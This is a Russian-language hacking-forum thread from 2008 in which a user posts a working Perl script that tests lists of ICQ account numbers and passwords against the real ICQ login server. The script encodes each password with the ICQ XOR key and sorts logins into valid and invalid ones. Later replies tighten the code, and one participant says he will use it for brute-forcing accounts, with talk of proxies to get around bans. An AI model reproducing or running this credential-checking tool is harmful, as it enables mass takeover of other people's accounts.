Маленький Icq чекер

Discussion in 'PHP' started by biophreak, 12 Feb 2008.

  1. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Для собственных нужд накалякал маленький чекер асек по листу (uin;pass)
    В планах добавить соксы и треды, пока с задержкой 5 секунд чекаю, ибо надо было для небольших листов...в общем может кому пригодится:
    PHP:
    #!perl
    # Simple icq list checker by biophreak ( s-teals.org )
    # Usage: perl ./icq-check.pl <uins.list>
    use warnings;
    use 
    strict;
    use 
    Socket;
    use 
    IO::Handle;
    my $DEBUG 0# just for fun
    my $uinlist shift || die '[ERROR] Specify uinlist!';
    my $timeout 3### Wait some time before next check
    ####################################################
    my($uin$pass);
    (
    open U$uinlist and my @uins = <U> and close U) or die "Cannot open file $uinlist: $!\n"

    for (
    my $i=0$i scalar @uins$i++)
    {
        (
    $uin,$pass) = split /;/,$uins[$i];
        
    chomp $pass;
        
    icq_check($uin$pass) if defined $uin and defined $pass;
        
    sleep $timeout;
    }

    sub icq_check
    {
      
    my ($uin$password) = @_;
      
    my ($server,$port) = ("login.icq.com"5190);
      
    my ($socket,$i,$answer_data,$auth_request,$flap,$data);
      
    my $seq_num rand(0xFFFF);
      
    $data"\x00\x00\x00\x01\x00\x01".pack('n',length $uin).$uin."\x00\x02".pack('n',length $password).substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length $password);
      
    $flap "\x2a\x01".pack('n',$seq_num++).pack('n',length $data);
      
    $auth_request =$flap.$data;
      
    socket(SOCKAF_INETSOCK_STREAMgetprotobyname('tcp')) or die "Cannot open socket: $!\n"
      
    connect(SOCKsockaddr_in($portinet_aton($server))) or die "Cannot connect: $!\n";
      
    SOCK->autoflush(1);
      
    sysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";
      print 
    SOCK $auth_request;
      
    sysread(SOCK,$answer_data,96) or die "Cannot read from socket: $!\n";;
      if (
    $answer_data =~ /mismatch_passwd.html/io) {
          print 
    "[DEBUG] $answer_data\n" if $DEBUG == 1;
            print 
    "[BAD] : [ $uin;$pass ]\n";
        
        } 
    elsif($answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/o) {
            print 
    "[DEBUG] $answer_data\n" if $DEBUG == 1;
            print 
    "[GOOD] : [ $uin;$pass ]\n";
        } else {
            print 
    "[DEBUG] $answer_data\n" if $DEBUG == 1;
            print 
    "[ERROR] [ $uin;$pass ] - Too many tries(or too fast).Try later\n";
        }
      
    close SOCK;
    }
    ЗЫЖ Делая смотрел в сорцы BuH@LicH, выкинул лишние заголовки пакета логина (такие как версии клиента, его идентификатор, язык), ну и другое, не нужное для логина...
     
    #1 biophreak, 12 Feb 2008
    Last edited: 14 Feb 2008
    8 people like this.
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    оО маладетс...
    А я для брута возьму ;-)
     
  3. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Аськовцы могут забанить...надеюсь, в ближайшее будущее прикручу соксы :)
     
    #3 biophreak, 12 Feb 2008
    Last edited: 12 Feb 2008
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Не могут они забанить..
    Я делать буду под брут, а там 1 к 100 тясячам что пасс подойдет..
     
  5. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    да я про то, что они при множестве частых попыток банят :) правда на 1 уин...на разные по-идее должно без проблем отработать...
     
  6. Tapaceuka

    Tapaceuka New Member

    Joined:
    13 Jan 2008
    Messages:
    111
    Likes Received:
    2
    Reputations:
    -6
    куль, токо осталось откапать бесплатный хостинг где с этими сокетами попёр бы скрипт
     
  7. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Code:
    for (my $i=0; $i < scalar @uins; $i++)
    имхо так интересней
    Code:
    for ( my $i=0; $i < $#uins+1; $i++ )
    Code:
    sub xor_password 
    {
        my $password = shift;
        my @xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
        my $xored_password;
        my $i = 0;
        foreach my $pchar(split //,$password) {
            $xored_password.=$pchar ^ $xor[$i++];
            $i=0 if $i eq @xor; #глупо  максимальная длина пароля 8 символов
        }
        return $xored_password;
    }  
    Кривовато написано , мой вариант :
    Code:
    sub xor_password 
    {
        my ( $pwd,$xor_pwd ) =( shift,undef );
     
        my @xor=( "\xF3", "\x26", "\x81", "\xC4", 
                  "\x39", "\x86", "\xDB", "\x92", 
                  "\x71", "\xA3", "\xB9", "\xE6", 
                  "\x53", "\x7A", "\x95", "\x7C" );
    
        for( my $i=0;$i<length($pwd);$i++ )
        {
            $xor_pwd.= substr($pwd,$i,1)^$xor[$i];
        }
        return $xor_pwd;
    }  
    а вообще молодец++ ! :)
     
    1 person likes this.
  8. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> имхо так интересней

    неа.. )

    >> Кривовато написано , мой вариант

    ну тогда вот и мой: +)
    Code:
    sub xor_password {
    
    	my $pwd = shift;
    
    	my $xor = "\xF3\x26\x81\xC4\x39\x86\xDB\x92"
    		. "\x71\xA3\xB9\xE6\x53\x7A\x95\x7C";
    
    	return substr($pwd^$xor, 0, length($pwd));
    }
     
    2 people like this.
  9. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Немного почистил код, решил пообще не юзать ф-ию xor_password...подглядел в подсказку Digimortal =)
    Обновил первый пост...

    ЗЫЖ Посмотрел в шапку скрипта, понял что что-то не то, потом понял что именно:
    use Socket;
    use IO::Handle;
    поправил на
    use IO::Socket; =)
     
    #9 biophreak, 13 Feb 2008
    Last edited: 13 Feb 2008
  10. FooBar

    FooBar Banned

    Joined:
    28 Jan 2008
    Messages:
    13
    Likes Received:
    6
    Reputations:
    -5
    если ты создаешь сокет как в С, то тогда там use Socket нужно использовать, а если уж ты используешь IO::Socket::INET, то можно сделать в одну строку $socket = new IO::Socket::INET('login.icq.com:5190');
     
  11. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Хм...давай подумаем так...в IO::Socket уже включен Socket и хендл... а вот чтобы лишний раз не подключать хендл, я подумал что так будет рациональнее...ага?

    ЗЫЖ И кто тебе сказал, что нужно а что не нужно? :)))))
     
    #11 biophreak, 14 Feb 2008
    Last edited: 14 Feb 2008
  12. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    >> я подумал что так будет рациональнее...ага?

    нет.. получается ты подключаешь модуль и не используешь его.. тогда уж лучше перепиши весь код под io::socket..
     
  13. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Думаешь? Да, конечно минус в том, что он подгружает весь IO::Socket... =)
    Переписывать пока не буду, привык к use Socket =))))

    Поправил 1й пост на
    use Socket;
    use IO::Handle; =))
     
  14. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    там делов-то 5 строчек поправить.. )
    как уже написали:
    Code:
    $socket = new IO::Socket::INET('login.icq.com:5190');
    чтоб отрыть сокет, а затем
    Code:
    $socket->recv($answer_data, 16) or die "Cannot read from socket: $!\n";
    заместо
    Code:
    sysread(SOCK,$answer_data,16) or die "Cannot read from socket: $!\n";
    и
    Code:
    $socket->send($auth_request);
    вместо
    Code:
    print SOCK $auth_request;
    имхо удобнее и главное становится код читабельнее.. )
     
  15. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Да как пользоваться IO::Socket я знаю ;) :)
    Мне просто привычнее юзать Socket =)
     
  16. roker777

    roker777 Member

    Joined:
    9 Nov 2009
    Messages:
    11
    Likes Received:
    14
    Reputations:
    2
    Слушайте я чуть не шарю, куда этот скрипт вставлять нужно?